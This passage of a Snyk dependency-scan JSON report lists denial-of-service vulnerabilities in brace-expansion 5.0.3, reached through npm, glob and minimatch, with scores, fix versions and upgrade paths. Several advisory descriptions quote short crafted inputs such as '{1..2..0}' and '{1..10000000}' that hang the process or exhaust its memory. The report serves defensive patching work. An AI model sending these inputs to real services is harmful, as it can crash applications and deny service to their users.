"level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", 